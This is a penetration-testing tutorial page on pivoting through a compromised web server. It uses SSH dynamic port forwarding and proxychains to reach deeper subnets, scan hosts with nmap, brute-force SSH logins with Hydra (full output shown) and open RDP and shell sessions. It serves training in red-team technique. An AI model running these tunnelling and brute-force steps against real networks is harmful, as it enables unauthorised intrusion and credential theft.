KSEC ARK - Pentesting and redteam knowledge base

Dynamic Port Forwarding is the third major method of port redirection with SSH. Where as previously both local and remote port forwarding allowed interaction with a single port, dynamic allows a full range of TCP communication across a range of ports. The tool proxychains is also used to force any program you wish to use through the dynamic proxy.

Preparation

Firstly we have to ensure that proxychains is set up to appropriately tunnel the program through our port forward. Open /etc/proxychains.conf and look at the bottom line. You require a socks4 proxy on 127.0.0.1 followed by an unused port. Most likely you’ll have the default value of 9050 in there which is what tor uses. From this point “changing the port in proxychains” means going in and editing this port value. Personally I remove the # from quiet_mode to suppress the output but this is more of a user preference.

Situation

An attacker is trying to make their way into a corporate network. They have compromised a web server with the IP of 192.168.1.18. We assume for simplicity that the web server happened to have credentials for each workstation and the password for the end goal computer’s RDP (hey it’s hypothetical we’re allowed to dream).

Proxyc

The Attack

Firstly we wish to connect to Workstation 1 and see what it see’s for the purpose of our exploitation.

ssh -f -N -D 9050 [email protected]
<password>

Break Down

-f : This flag asks SSH to background immediately upon connection. Useful for port forwarding so you don’t need to leave a terminal open and also not ruin your forward by accidentally sending any commands. -N : This flag instructs SSH to not send any remote commands, once more useful for port forwarding. -D : The user determined dynamic port. This value needs to correlate to whatever is in the proxychains.conf file. We’ve used 9050 for the first value to stop us having to change proxychains.conf.

You should be familiar with the rest of the commands. Upon connection you should see it the command line background immediately. At this point we can see whatever Workstation 1 does on the 172.168.4.1/24 network. If a web server was host on 172.168.4.90 (not pictured) then the command “proxychains firefox” could be used to open firefox and the IP address 172.167.4.90 entered to view the webpage, even though it’s typically non-routable from our 192.168.1.18 position.

Phase 2

Now we wish to go further into the network. Workstation 2 is our target and the SSH server it’s running is on port 2222. We enter the command:

proxychains ssh -f -N -D 10050 [email protected] -p 2222
<password>

Once again upon connection it will instantly background. We now have two tunnels in place. The first leading into the 172.168.4.1/24 network through workstation 1, and now a second into the 10.6.6.1/24 network via workstation 2. At this point we must edit the proxychains.conf to reflect our new arbitrarily chosen dynamic port forward number (well, at least one not in use). Edit /etc/proxychains.conf and place the value of 10050 down the bottom instead of 9050. Save the new configuration file.

Phase 3

So now we’ve got the second tunnel in place we use it the same as the first. We want to RDP into 10.6.6.88 so we can do so with the following command.

proxychains rdesktop 10.6.6.88 -u Administrator -p password -g 90%

Hey presto we have RDP access into our end goal, two layers deeper than when we started. Obviously we have access to all of the other computers along the way in each of those networks. This is how a pen tester can turn a foot hold in a web server into a full compromise of multiple networks.

Additional Uses (I.e. Nmap) Strictly speaking almost all we’ve done above could have been done with a combination of local port forwards. Forward Workstation 1 to the attacking machine, then connect to it in order to forward Workstation 2, etc etc. Dynamic port forwarding adds a layer of simplicity in the event we need to switch between multiple ports. We don’t want to have to tear down our tunnel every time we want to get access to a different computer. It also allows us to do things like nmap through a dynamic port forward with commands such as the following:

proxychains nmap -sTV -n -PN 10.6.6.88

This would port scan the 10.6.6.88 machine to tell us if anything else other than RDP was open. Unfortunately for us nmap via proxychains is much slower than normal, but sometimes you just have to learn to cope with some of these things. Given that nmap would be testing multiple ports this is something which can only be done with the dynamic port forward (as opposed to local or remote).

Guide from netsec

Other Tools

By running Hydra in ProxyChains, all traffic will be routed to the target system through the compromised system.

root@kali:~# proxychains hydra 7.7.7.20 ssh -s 22 -L /tmp/user.txt -P top100.txt -t 4
ProxyChains-3.1 (http://proxychains.sf.net)
Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting 
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task
[DATA] attacking service ssh on port 22
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
|S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
<><>-OK
<><>-OK
<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
[22][ssh] host: 7.7.7.20   login: admin   password: 123456
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished
root@kali:~#

SSH connection can be made to the target system via proxy server with admin username and 123456 password obtained from brute-force attack with Hydra.

root@kali:~# proxychains ssh [email protected]
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established.
ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts.
[email protected]'s password: 
bvshell:/C/Documents and Settings/All Users$ pwd
/C/Documents and Settings/All Users
bvshell:/C/Documents and Settings/All Users$ dir
2016-12-24  21:32          <DIR> Application Data
2016-12-25  06:16          <DIR> Desktop
2016-12-24  18:36          <DIR> Documents
2016-12-24  18:37          <DIR> DRM
2016-12-24  21:32          <DIR> Favorites
2016-12-24  18:38          <DIR> Start Menu
2016-12-24  21:32          <DIR> Templates
      0 Files                  0 bytes
      7 Directories
bvshell:/C/Documents and Settings/All Users$

Pivoting - Proxychains